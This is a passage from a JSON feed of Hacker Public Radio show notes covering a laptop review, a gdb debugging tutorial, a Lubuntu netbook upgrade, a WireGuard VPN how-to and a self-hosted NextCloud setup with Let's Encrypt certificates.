                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3282,"date":"2021-03-02","title":"HP Laptop with AMD Ryzen 3 Mobile with Radeon Graphics","duration":1637,"summary":"I talk about the specs of the laptop and a brief upgrade.","notes":"

                                                            HP Laptop with AMD Ryzen 3 Mobile Processors with Radeon Graphics

                                                            \n

                                                            HP Laptop Info.

                                                            \n\n

                                                            Specifications.

                                                            \n
                                                              \n
                                                            1. AMD Ryzen 3 3250U (2.6 GHz base clock, up to 3.5 GHz max boost clock, 1 MB L2 cache, 2 cores)

                                                              \n
                                                                \n
                                                              • CPU Cores: 2
                                                              • \n
                                                              • CPU Threads: 4
                                                              • \n
                                                              • GPU Cores: 3
                                                              • \n
                                                              • System Memory Specification: Up to 2400MHz (No need to go big, keep it simple and cheap.)
                                                              • \n
                                                              • Launch Date: 06/01/2020 (January 06, 2020)
                                                              • \n
                                                            2. \n
                                                            3. Memory/Ram: 4 GB DDR4-2400 SDRAM (1 x 4 GB)

                                                              \n
                                                                \n
                                                              • ECC Type: Non-ECC
                                                              • \n
                                                              • Form Factor: SODIMM
                                                              • \n
                                                              • Pin Count: 260-pin
                                                              • \n
                                                              • PC Speed: PC4-19200
                                                              • \n
                                                              • Ram is upgradable (Two slots)\n
                                                              • \n
                                                              • Note:\n
                                                                  \n
                                                                • Installed 16 GB ram but system only accepts/recognizes 14 GB ram. Attempted two different ram manufacture type (Crucial and PNY Ram)
                                                                • \n
                                                              • \n
                                                            4. \n
                                                            5. Video graphics: AMD Radeon Vega 3 Graphics

                                                            6. \n
                                                            7. Hard drive: 1 TB 5400 rpm SATA III HDD

                                                              \n
                                                            8. \n
                                                            9. Wifi: Realtek RTL8821CE 802.11b/g/n/ac (1x1) and Bluetooth® 4.2 Combo.

                                                              \n
                                                            10. \n
                                                            11. Battery Life: 9 hrs (Nope!)

                                                              \n
                                                            12. \n
                                                            \n

                                                            Secure Boot!

                                                            \n
                                                              \n
                                                            1. Ubuntu is able to boot with secure boot enabled.\n
                                                                \n
                                                              • Once disabled, you can load other Distros.
                                                              • \n
                                                            2. \n
                                                            \n","hostid":391,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"HP, Ryzen, Crucial, Western Digital, Realtek","version":0,"downloads":0,"valid":1}, {"id":3283,"date":"2021-03-03","title":"HPR RPG Club reviews Dead Earth","duration":3150,"summary":"Escape reality by pretending you live in a dystopia","notes":"

                                                            \nKlaatu, Beni, and Mcnalu review the tabletop RPG game Dead Earth, a game published under the GNU Free Documentation License (GFDL).\n

                                                            \n\n

                                                            \nNext up is Starfinder, a space-themed game using the 3.5 edition D&D rules.\nIf you're interested in playing, join the Hacker Public Radio mailing list or email Klaatu at this domain.\n

                                                            \n\n\n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"rpg, cyberpunk, post-apocalyptic","version":0,"downloads":0,"valid":1}, {"id":3284,"date":"2021-03-04","title":"Introduction to gdb","duration":1420,"summary":"A really friendly introduction to Gnu Debugger","notes":"

                                                            \nFrustrated by gdb tutorials that are either too complicated or too simple? I think this might be an actually-useful tutorial to help you see how and why gdb can be useful. Anyway, it's the path I followed to finding a use for the mysterious gdb, so maybe it will work for you.\n

                                                            \n\n

                                                            \nTo follow along with this episode, here's some simple yet buggy code. This compiles but crashes when run.\n

                                                            \n\n
                                                            \n#include <iostream>\n#include <stdlib.h>  // rand\n#include <stdio.h>  // printf\n\nusing namespace std;\n\nint main () {\n\nsrand (time(NULL));\nint penguin = rand() % 8;\ncout << "This is a message from your friendly coder\\n" << endl;\nint kiwi = 3;\n\nprintf(\"penguin is set to is %s\\n\", penguin);\nprintf(\"kiwi is set to is %s\\n\", kiwi);\n\n return 0;\n} // main\n\n
                                                            \n\n

                                                            \nTo compile it and see it crash, do this:\n

                                                            \n\n
                                                            \n$ g++ example.cpp\n$ ./a.out\n
                                                            \n\n

                                                            \nTo compile it with debug symbols so you can step through it in gdb, do this:\n

                                                            \n\n
                                                            \n$ g++ -g -o debugtest example.cpp\n$ gdb debugtest\n
                                                            \n\n

                                                            \nYou can now follow along with this tutorial.\n

                                                            \n\n

                                                            \nFor extra credit, try compiling this with clang++ instead!\n

                                                            \n\n\n\n","hostid":78,"series":84,"explicit":0,"license":"CC-BY-SA","tags":"programming, cpp, gdb, gcc","version":0,"downloads":0,"valid":1}, {"id":3285,"date":"2021-03-05","title":"Upgrading Lubuntu on my Samsung N150 Plus netbook","duration":1079,"summary":"Lubuntu 16.04 LTS to 20.04.1 LTS upgrade on ageing Samsung N150 Plus netbook.","notes":"

                                                            Samsung N150 Plus upgrade from Lubuntu 16.04 LTS to Lubuntu 20.04.1 - performed 17/12/20

                                                            \n

                                                            Backup and prep process

                                                            \n
                                                              \n
                                                            • Copied all documents and important files from Samsung laptop to removable hard drive. Used Lubuntu gui file manager which crashed at least twice, probably due to netbook limited RAM.

                                                            • \n
                                                            • Found out that a direct upgrade from 16.04 LTS to 20.04 LTS is not possible, refer to the following links.

                                                              \n
                                                            • \n
                                                            • Downloaded Lubuntu 20.04.1

                                                            • \n
                                                            • Found a spare 32GB USB stick and copied all the files that were on it to a removable hard drive.

                                                            • \n
                                                            • Opened downloaded Lubuntu image using Disk Image writer (1st time I've used this), wrote image to 32GB SD, found process very easy

                                                            • \n
                                                            • On Samsung netbook hit F2 at boot time to select boot from USB

                                                            • \n
                                                            • Booted from USB stick containing LUBUNTU 20.04.1

                                                            • \n
                                                            \n

                                                            Live distro 1st boot.

                                                            \n
                                                              \n
                                                            • Once booted I found the trackpad speed to be very slow and my first attempt at adjusting the speed in preferences made no difference.

                                                            • \n
                                                            • Connected to WiFi, setting this up seemed much more clunky than previous connection method, however it did work.

                                                            • \n
                                                            • Went to Youtube and played some video, everything worked fine, also found that volume keys on netbook worked.

                                                            • \n
                                                            \n

                                                            Install Process

                                                            \n
                                                              \n
                                                            • Went through install and selected manual partitioning,

                                                            • \n
                                                            • Used existing swap on sda6 and format and mounted new Lubuntu root filesystem on sda7 replacing 16.04 with 20.04.1

                                                            • \n
                                                            \n

                                                            After first boot

                                                            \n
                                                              \n
                                                            • Upon first boot was surprised that it had remembered my WiFi connection details and told me there were updates

                                                            • \n
                                                            • It asked if I wanted to perform a full upgrade without giving any details. At the time I didn't know what this meant. I wasn't sure I would remain on an LTS or upgrade to 20.10. After the full upgrade I check OS release using the following command. This confirmed I was still running 20.04 LTS

                                                              \n
                                                                cat /etc/os-release
                                                            • \n
                                                            • The logon screen has desktop options, by default it's set to Lubuntu, I found this to be a bit slow and unresponsive also the screen decoration on terminals was rather clunky taking up unnecessary screen space.

                                                            • \n
                                                            • The next time I entered the logon screen I selected LXQT. I was pleased to find that this option was remembered. The netbook was now a bit more responsive though not quite as good as it was before the upgrade. The terminal screen was now much tidier and more usable.

                                                            • \n
                                                            • Preferences / LXQT settings / Keyboard and mouse / Mouse and Touch Pad / Acceleration speed now 5.0 think was 0.1, also selected single click to activate item

                                                            • \n
                                                            • Installed mc, ncdu, screen, pv, moc, ssh

                                                            • \n
                                                            • Generated RSA ssh keys and copied them to Pi13, they installed with no problems and allowed me to SSH into my Pi13.

                                                            • \n
                                                            • Copied all my files and documents from my portable hard drive back onto the laptop. This time I used mc \"Midnight Commander\" to copy the files back which I found much easier than using the GUI file manager the first time around. Midnight commander is an Ncurses file manager.

                                                            • \n
                                                            • I had forgotten just how good the ncurses file manager Midnight commander is.

                                                            • \n
                                                            • Midnight Commander gave a constant percentage progress of each individual file being copied and the overall progress which was very useful and reassuring with such a slow laptop. The first time around the laptop actually crashed a couple of times when I was using the LUBUNTU GUI file manager to try and copy the files from the laptop to the hard drive.

                                                            • \n
                                                            • Also even though I generally use keyboard shortcuts for copy and paste operation I still tend to use the track pad at places when using a file manager. It's easy to limit yourself to keyboard navigation using mc. I found this to be greatly reassuring and I feel doing this makes the likelihood of disastrous errors much less likely.

                                                            • \n
                                                            \n

                                                            General thoughts and Observations

                                                            \n
                                                              \n
                                                            • The keyboard screen brightness buttons don't work however I can adjust it within preferences. Further investigation will be needed to resolve this minor annoyance if / when I get the time and inclination.

                                                            • \n
                                                            • The netbook now has a much slower boot time

                                                            • \n
                                                            • The netbook now feels a little sluggish but I think it's still perfectly usable. I have a feeling this might be the last upgrade this netbook sees as it's now getting a bit long in the tooth. It also has a broken power switch which I believe was a common fault. I have to use a pair of scissors to turn it on.

                                                            • \n
                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, Distros, Netbook, Lubuntu","version":0,"downloads":0,"valid":1}, {"id":3286,"date":"2021-03-08","title":"Wireguard How To","duration":574,"summary":"My findings setting up wireguard at home and in my office at work.","notes":"

                                                            Wireguard How To

                                                            \n

                                                            Firstly, I am not an expert. These are just my findings setting up wireguard at home and in my office at work.

                                                            \n

                                                            I've used a program called sshuttle for 7/8 years to attach myself to my home and work networks when on public/untrusted networks or if I need to access some resource at work from home.

                                                            \n

                                                            Sshuttle for the main part works great and the main benefit is that the only port you ever need to open on the server network is whichever port you have your ssh server running on.

                                                            \n

                                                            The downside to sshuttle is that it won't work with my android devices so I've been using a paid for VPN called PIA on untrusted networks or just staying on 3g/4g and not have any way to connect to my home or work network.

                                                            \n

                                                            Sshuttle is written in python and a few weeks ago Arch Linux moved to python 3.8 which broke sshuttle. There is a workaround using pyenv and a bug has been filled with the python team and a it's already been fixed upstream https://bugs.python.org/issue35415.

                                                            \n

                                                            Anyway.

                                                            \n

                                                            I thought it was about time I looked at setting up a proper VPN on my work network.

                                                            \n

                                                            So I spent a couple of hours reading up on openVPN and creating client and server certificates making a server config on the work server forwarding the port on the router to the server.

                                                            \n

                                                            Then I spent a couple more hours poking around trying to figure out why it wouldn't work.

                                                            \n

                                                            I eventually gave up frustrated.

                                                            \n

                                                            I'm not blaming openVPN, I know it works for many many people, but I couldn't see what was wrong.

                                                            \n

                                                            So I did what we all do in a situation like this.

                                                            \n

                                                            I took to social media, which in my case is my pleroma server and posted a message to the fediverse.

                                                            \n

                                                            \"OpenVPN has fried my brain. Need booze\"
                                                            \nThen I had a beer, a nice cold Stiegl goldbrau if I remember right.

                                                            \n

                                                            A few minutes later a message popped up from theru, it contained one word with a smiley face. Wireguard.

                                                            \n

                                                            Now I had looked at wireguard a while ago. You might remember it hit the headlines because Linus Torvalds had praised how beautifully written the code was for it. It turns out what he said was \"It's beautiful when compared to openVPN's code\". Back then the how to guides were really hard, for me anyway to follow.

                                                            \n

                                                            There were just examples of two machines on the same LAN connected together and I really struggled to get my head around it being serverless and both machines being peers to each other; after all openVPN has clients and servers and even sshuttle on my laptop connects to a server machine.

                                                            \n

                                                            There where a couple of wiki pages that I read on Christmas Eve that gave me a lightbulb moment and some clarity on the way it worked. So I decided to try and set it up.

                                                            \n

                                                            The articles acknowledge that it is a peer to peer technology and then go on to call one peer a server and the other peer the client.

                                                            \n

                                                            Also I would recommend for your first client use an android device with the wireguard app. It's more user friendly in that some of the config is auto filled for you and then you can export the config file and examine it in a text editor later to get a better handle on things.

                                                            \n

                                                            I'm going to assume that you have installed the wireguard packages for your system and that you have given your server a static IP on your network.

                                                            \n

                                                            I'm using Arch linux on my servers but I see the Linode Debian 'how to' works in the same way.

                                                            \n

                                                            So we are going to log into the server and start the setup.

                                                            \n

                                                            1st create Private and Public keys

                                                            \n

                                                            Create directory for Keys

                                                            \n
                                                            cd ~\nmkdir wireguard\ncd wireguard
                                                            \n

                                                            Create Server Keys

                                                            \n
                                                            umask 077\nwg genkey | tee privatekey | wg pubkey > publickey
                                                            \n

                                                            Create sub directory for client1 keys

                                                            \n
                                                            mkdir client1\ncd client1\nwg genkey | tee privatekey | wg pubkey > publickey
                                                            \n

                                                            Repeat for as many clients as needed

                                                            \n

                                                            Create/edit wireguard config

                                                            \n

                                                            Check the interface name facing the internet is correct before copy/paste

                                                            \n
                                                            ifconfig
                                                            \n

                                                            Before you continue you will need to forwrd a port from your internet facing router to your server. Somewhere in your router settings you'll find a port forward setting. At home I have a Fritzbox and it's buried under network / permitted access. At work it's a Linksys ac1200 and it's under gaming / apps / single port forwarding. I'm sure you will find it.

                                                            \n

                                                            The wireguard default port is 51820 and you'll find this port named in most of the how to's on the web. I use a different port number just to add a little bit of obsurity/security to my setup so if you choose to forward a different port from your router then remember to use that number in the configs.

                                                            \n

                                                            Below is the working wg0.conf file from my arch server with one client

                                                            \n
                                                            [root@arch-server marshall]# cat /etc/wireguard/wg0.conf\n[Interface]\nAddress = 10.0.0.1/24\nMTU = 1500\nSaveConfig = false\nListenPort = 8801\nPrivateKey = sBNF2igw+xxxxxHh0HWJL2SHZ0ltR+xxxxxaCN/Wu3o=\nPostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o enp2s0 -j MASQUERADE\nPostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D\nPOSTROUTING -o enp2s0 -j MASQUERADE\n\n[Peer]\n# BBKey2\nPublicKey = Aeo8ya/wCW9dlfO1a5cEaApLTbCfqJVw/stVDi2gDh8=\nAllowedIPs = 10.0.0.2/32
                                                            \n

                                                            Below is the working wg0.conf file from my archarm server with one client

                                                            \n
                                                            [root@alarmpi wireguard]# cat wg0.conf\n[Interface]\nAddress = 10.0.0.1/24\nMTU = 1500\nSaveConfig = false\nListenPort = 8801\nPrivateKey = GOzcxxxxx4+Gjs/50Ln+XFrlX0XXXXXKpeuf59IDnc=\nPostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE\nPostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D\nPOSTROUTING -o eth0 -j MASQUERADE\n\n[Peer]\n# BBKey2\nPublicKey = CSJyWwknPQyhF+dRrB6TOBX55gJXnreNIpBiz3qsSm0=\nAllowedIPs = 10.0.0.2/32
                                                            \n

                                                            Enable IPv4 forwarding

                                                            \n

                                                            On the server enable IPv4 forwarding using sysctl

                                                            \n
                                                            sysctl -w net.ipv4.ip_forward=1
                                                            \n

                                                            To make the change permanent. Add

                                                            \n
                                                            net.ipv4.ip_forward = 1
                                                            \n

                                                            to /etc/sysctl.d/99-sysctl.conf

                                                            \n

                                                            Check if everything works!

                                                            \n

                                                            Bring the tunnel up.

                                                            \n
                                                            wg-quick up wg0
                                                            \n

                                                            Check tunnel state and see currently connected peers.

                                                            \n
                                                            wg
                                                            \n

                                                            If it all works then use systemd to start the tunnel on boot.

                                                            \n
                                                            systemctl enable wg-quick@wg0.service
                                                            \n

                                                            If it doesn't

                                                            \n

                                                            More than likely it's IPv4 forwarding.

                                                            \n

                                                            Try running sysctl -w net.ipv4.ip_forward=1 again, or DNS on the client is set wrong.

                                                            \n

                                                            Arch linux

                                                            \n
                                                            pacman -S wireguard-tools wireguard-arch dkms linux-headers
                                                            \n

                                                            ArchArm dkms + headers

                                                            \n
                                                            pacman -S dkms wireguard-tools wireguard-dkms linux-raspberrypi-headers
                                                            \n

                                                            Links

                                                            \n\n","hostid":392,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"wireguard, openVPN, Arch, sshuttle","version":0,"downloads":0,"valid":1}, {"id":3287,"date":"2021-03-09","title":"Quick tip","duration":117,"summary":"Quick tip and HPR needs shows","notes":"

                                                            https://f-droid.org/en/packages/com.github.axet.audiorecorder/

                                                            \n

                                                            Small drinking glass
                                                            \n\"Small
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Perfectly peeled eggs
                                                            \n\"Perfectly
                                                            Click the thumbnail to see the full-sized image

                                                            \n","hostid":318,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"Cooking","version":0,"downloads":0,"valid":1}, {"id":3288,"date":"2021-03-10","title":"Linux Inlaws S01E25: The Grumpy Old Coders","duration":3628,"summary":"Our heroes host an episode with an eclectic duo (not Waldorf or Statler)","notes":"

                                                            \nThis time our two heroes host an eclectic couple known as the grumpy old coders. Thomas, David, Martin and Chris\ndiscuss stealing, um, borrowing (and never giving back) of mottos and mascotts, programming languages including\nJava, Python and Rust woes and how they all arrived at podcasting. Never mind Chris revealing his true and\nonly heritage and other little-known secrets. Don't miss out on this episode for the full lowdown (never mind\nthe even lower down .\n

                                                            \n

                                                            Shownotes:

                                                            \n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"OAPs, old coders, senior citizens, Bitterfeld, communism","version":0,"downloads":0,"valid":1}, {"id":3289,"date":"2021-03-11","title":"NextCloud the hard way","duration":1933,"summary":"A private NextCloud instance on a Pi 4x8, with lets encrypt and wireguard vpn access","notes":"

                                                            NextCloud

                                                            \n

                                                            I want to install NextCloud for my family, but only for my family. This means making things hard for myself by installing it behind my firewall with a private nat ipaddress. That presented problems with getting a valid Let's encrypt cert.

                                                            \n

                                                            It all now works, and thanks to timttmy I was able to get the WireGuard VPN installed and working.

                                                            \n

                                                            Pi 4

                                                            \n

                                                            Get a Pi, and a SSD, enable it. You should review Raspberry Pi 4 USB Boot Config Guide for SSD / Flash Drives, for issues with SSD drives and the Raspberry Pi.

                                                            \n

                                                            You can install Raspbian as normal. I already covered this in hpr2356 :: Safely enabling ssh in the default Raspbian Image, and Safely enabling ssh in the default Raspberry Pi OS (previously called Raspbian) Image.

                                                            \n

                                                            And then follow the instructions in How to Boot Raspberry Pi 4 From a USB SSD or Flash Drive.

                                                            \n

                                                            Next Cloud

                                                            \n

                                                            Install Apache, MariaDB, and PHP

                                                            \n\n
                                                            # diff /etc/apache2/apache2.conf /etc/apache2/apache2.conf.orig\n171,172c171,172\n<       Options FollowSymLinks\n<       AllowOverride All\n---\n>       Options Indexes FollowSymLinks\n>       AllowOverride None
                                                            \n

                                                            Install PHPMyAdmin

                                                            \n\n

                                                            Required Changes to nextcloud config.

                                                            \n
                                                            root@nextcloud:~# diff /root/nextcloud-config.php.orig /var/www/html/nextcloud/config/config.php \n>     1 => 'nextcloud',\n>     2 => '192.168.123.123',\n>     3 => 'nextcloud.example.com',\n>   'memcache.local' => '\\OC\\Memcache\\APCu',
                                                            \n
                                                            # diff /etc/apache2/sites-available/000-default.conf.orig /etc/apache2/sites-enabled/000-default.conf\n28a29,32\n>         RewriteEngine On\n>         RewriteRule ^(.*)$ https://%{HTTP_HOST}$1 [R=301,L]\n>       Redirect 301 /.well-known/carddav /var/www/html/nextcloud/remote.php/dav\n>       Redirect 301 /.well-known/caldav /var/www/html/nextcloud/remote.php/dav
                                                            \n

                                                            Required Changes to php.ini config.

                                                            \n
                                                            root@nextcloud:~# diff /etc/php/7.3/apache2/php.ini.orig /etc/php/7.3/apache2/php.ini\n401c401\n< memory_limit = 128M\n---\n> memory_limit = 2000M\n689c689\n< post_max_size = 8M\n---\n> post_max_size = 2048M\n841c841\n< upload_max_filesize = 2M\n---\n> upload_max_filesize = 2048M
                                                            \n

                                                            Upgrade

                                                            \n

                                                            You can upgrade using the procedure described by klaatu in hpr3232 :: Nextcloud, or as admin via the UI https://nextcloud.example.com/nextcloud/index.php/settings/user, Administration, Overview.

                                                            \n

                                                            You will see a lot of Warnings on Admin Page, but don't panic. The server is not accessible on the Internet after all.

                                                            \n

                                                            The errors have links to how you can fix them and some are very easy to do.

                                                            \n

                                                            I got an error \"Error occurred while checking server setup\". I used this tip to move root owned files out of next cloud dir.

                                                            \n

                                                            For me it was mostly about enabling caching via APCU, and enabling You are accessing this site via HTTP.

                                                            \n

                                                            The first is fixed in the nextcloud/config/config.php page, the next is fixed by installing a valid SSL cert from Let's Encrypt.

                                                            \n

                                                            SSL Let's Encrypt

                                                            \n

                                                            Based on the following article I installed it manually.

                                                            \n

                                                            Obtain Let's Encrypt SSL Certificate Using Manual DNS Verification

                                                            \n

                                                            Install certbot

                                                            \n
                                                            # apt install certbot
                                                            \n

                                                            Then run the script manually specifying that the challenge should be over dns.

                                                            \n
                                                            # certbot certonly --manual --preferred-challenges dns \nSaving debug log to /var/log/letsencrypt/letsencrypt.log\nPlugins selected: Authenticator manual, Installer None\nEnter email address (used for urgent renewal and security notices) (Enter 'c' to\ncancel): letsencrypt@example.com\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nPlease read the Terms of Service at\nhttps://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must\nagree in order to register with the ACME server at\nhttps://acme-v02.api.letsencrypt.org/directory\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n(A)gree/(C)ancel: A\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nWould you be willing to share your email address with the Electronic Frontier\nFoundation, a founding partner of the Let's Encrypt project and the non-profit\norganization that develops Certbot? We'd like to send you email about our work\nencrypting the web, EFF news, campaigns, and ways to support digital freedom.\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n(Y)es/(N)o: n\nPlease enter in your domain name(s) (comma and/or space separated)  (Enter 'c'\nto cancel): nextcloud.example.com\nObtaining a new certificate\nPerforming the following challenges:\ndns-01 challenge for nextcloud.example.com\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nNOTE: The IP of this machine will be publicly logged as having requested this\ncertificate. If you're running certbot in manual mode on a machine that is not\nyour server, please ensure you're okay with that.\n\nAre you OK with your IP being logged?\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n(Y)es/(N)o: y\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nPlease deploy a DNS TXT record under the name\n_acme-challenge.nextcloud.example.com with the following value:\n\n0c5dbJpS5t0VKzglhdfFhZ6CGmZlLHNaNnAQe2VeJyKi\n\nBefore continuing, verify the record is deployed.\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nPress Enter to Continue
                                                            \n

                                                            It was at this point I went to my hosting companys page and created a subdomain called nextcloud. Then I added a TXT record called _acme-challenge with the text 0c5dbJpS5t0VKzglhdfFhZ6CGmZlLHNaNnAQe2VeJyKi.

                                                            \n

                                                            In order to verify that we use the command:

                                                            \n
                                                            # apt-get install -y dnsutils\n\n$ dig -t TXT _acme-challenge.nextcloud.example.com\n\n; <<>> DiG 9.11.5-P4-5.1+deb10u2-Debian <<>> -t TXT _acme-challenge.nextcloud.example.com\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39298\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 4096\n;; QUESTION SECTION:\n;_acme-challenge.nextcloud.example.com. IN TXT\n\n;; ANSWER SECTION:\n_acme-challenge.nextcloud.example.com. 3600 IN TXT "0c5dbJpS5t0VKzglhdfFhZ6CGmZlLHNaNnAQe2VeJyKi"\n\n;; Query time: 7 msec\n;; SERVER: 178.21.112.12#53(178.21.112.12)\n;; WHEN: Thu Dec 10 16:27:53 CET 2020\n;; MSG SIZE  rcvd: 121\n
                                                            \n

                                                            Now that the answer section is correct we can continue with the certbot script.

                                                            \n
                                                            Waiting for verification...\nCleaning up challenges\n\nIMPORTANT NOTES:\n - Congratulations! Your certificate and chain have been saved at:\n   /etc/letsencrypt/live/nextcloud.example.com/fullchain.pem\n   Your key file has been saved at:\n   /etc/letsencrypt/live/nextcloud.example.com/privkey.pem\n   Your cert will expire on 2021-03-10. To obtain a new or tweaked\n   version of this certificate in the future, simply run certbot\n   again. To non-interactively renew *all* of your certificates, run\n   "certbot renew"\n - If you like Certbot, please consider supporting our work by:\n\n   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate\n   Donating to EFF:                    https://eff.org/donate-le
                                                            \n

                                                            Renew

                                                            \n

                                                            Unfortunately the renew is not automatic. \"You don't have to renew Certificate with\"renew\" option. You have to run the same command you ran for Certificate creation.\"

                                                            \n

                                                            So I just set up a 3 monthly recurring reminder in NextCloud to do this.

                                                            \n

                                                            Delete

                                                            \n

                                                            If you need to delete the cert you can do it as follows.

                                                            \n
                                                            root@nextcloud:~# certbot certificates\nSaving debug log to /var/log/letsencrypt/letsencrypt.log\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nFound the following certs:\n  Certificate Name: nextcloud.example.com\n    Domains: nextcloud.example.com\n    Expiry Date: 2021-03-10 14:28:07+00:00 (VALID: 89 days)\n    Certificate Path: /etc/letsencrypt/live/nextcloud.example.com/fullchain.pem\n    Private Key Path: /etc/letsencrypt/live/nextcloud.example.com/privkey.pem\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nroot@nextcloud:~# certbot delete\nSaving debug log to /var/log/letsencrypt/letsencrypt.log\n\nWhich certificate(s) would you like to delete?\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n1: nextcloud.example.com\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nSelect the appropriate numbers separated by commas and/or spaces, or leave input\nblank to select all options shown (Enter 'c' to cancel): 1\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nDeleted all files relating to certificate nextcloud.example.com.\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                                            \n

                                                            Apache setup

                                                            \n

                                                            Setting up Apache is not well explained anywhere I could find.

                                                            \n

                                                            The good news is that moz://a SSL Configuration Generator page takes the misery out of making tea. I mean, it will help you with your configuration. If you do like misery you can of course read the Talk:Security/Server Side TLS page.

                                                            \n

                                                            The most helpful articles were:

                                                            \n\n

                                                            I made the following changes:

                                                            \n
                                                            root@nextcloud:/etc/apache2/sites-available# diff 000-default.conf.orig 000-default.conf\n28a29,30\n>         RewriteEngine On\n>         RewriteRule ^(.*)$ https://%{HTTP_HOST}$1 [R=301,L]\n\nroot@nextcloud:/etc/apache2/sites-available# diff default-ssl.conf.orig default-ssl.conf\n32,33c32,33\n<               SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem\n<               SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key\n---\n>               SSLCertificateFile      /etc/letsencrypt/live/nextcloud.example.com/fullchain.pem\n>               SSLCertificateKeyFile   /etc/letsencrypt/live/nextcloud.example.com/privkey.pem\n129a130,131\n>               # enable HTTP/2, if available\n>               Protocols h2 http/1.1\n130a133,134\n>               # HTTP Strict Transport Security (mod_headers is required) (63072000 seconds)\n>               Header always set Strict-Transport-Security "max-age=63072000"
                                                            \n

                                                            Testing

                                                            \n

                                                            To test the cert you can connect to the localhost on the server.

                                                            \n
                                                            root@nextcloud:/etc/apache2/sites-available# openssl s_client -crlf -debug -connect localhost:443 -status -servername nextcloud.example.com\nCONNECTED(00000003)\nwrite to 0x643cf8 [0x652568] (321 bytes => 321 (0x141))\n[snip...]\nread from 0x643cf8 [0x6492b3] (5 bytes => 5 (0x5))\n0000 - 48 54 54 50 2f                                    HTTP/\n3069898768:error:1408F10B:SSL routines:ssl3_get_record:wrong version number:../ssl/record/ssl3_record.c:332:\n---\nno peer certificate available\n---\nNo client certificate CA names sent\n---\nSSL handshake has read 5 bytes and written 321 bytes\nVerification: OK\n---\nNew, (NONE), Cipher is (NONE)\nSecure Renegotiation IS NOT supported\nCompression: NONE\nExpansion: NONE\nNo ALPN negotiated\nEarly data was not sent\nVerify return code: 0 (ok)\n---\n[snip...]
                                                            \n

                                                            I had been using systemctl restart apache2.service to restart apache, but the recommended way is to use apache2ctl.

                                                            \n
                                                            root@nextcloud:/etc/apache2/sites-available# apache2ctl \nUsage: /usr/sbin/apache2ctl start|stop|restart|graceful|graceful-stop|configtest|status|fullstatus|help\n       /usr/sbin/apache2ctl <apache2 args>\n       /usr/sbin/apache2ctl -h            (for help on <apache2 args>)\n\nroot@nextcloud:/etc/apache2/sites-available# apache2ctl restart\nAH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message\n\nroot@nextcloud:/etc/apache2/sites-available# apache2 -t\n[Thu Dec 10 18:18:49.187628 2020] [core:warn] [pid 4108] AH00111: Config variable ${APACHE_RUN_DIR} is not defined\napache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot
                                                            \n

                                                            For some reason that fixed it.

                                                            \n
                                                            # openssl s_client -crlf -debug -connect localhost:443 -status -servername nextcloud.example.com\nCONNECTED(00000003)\nwrite to 0xe4918 [0xf3188] (324 bytes => 324 (0x144))\n[snip...]\nOCSP response: \n======================================\nOCSP Response Data:\n    OCSP Response Status: successful (0x0)\n    Response Type: Basic OCSP Response\n    Version: 1 (0x0)\n    Responder Id: C = US, O = Let's Encrypt, CN = R3\n    Produced At: Dec 22 16:04:00 2020 GMT\n[snip...]\n---\nCertificate chain\n 0 s:CN = nextcloud.example.com\n   i:C = US, O = Let's Encrypt, CN = R3\n 1 s:C = US, O = Let's Encrypt, CN = R3\n   i:O = Digital Signature Trust Co., CN = DST Root CA X3\n---\nServer certificate\n-----BEGIN CERTIFICATE-----\n[snip...]
                                                            \n

                                                            DNS Rebind Protection

                                                            \n

                                                            Now that everything is up and running we just need to create a new A record pointing to our internal IP Address. Unfortunately while nextcloud.example.com resolves to 192.168.123.123 externally, it fails to return an answer internally.

                                                            \n

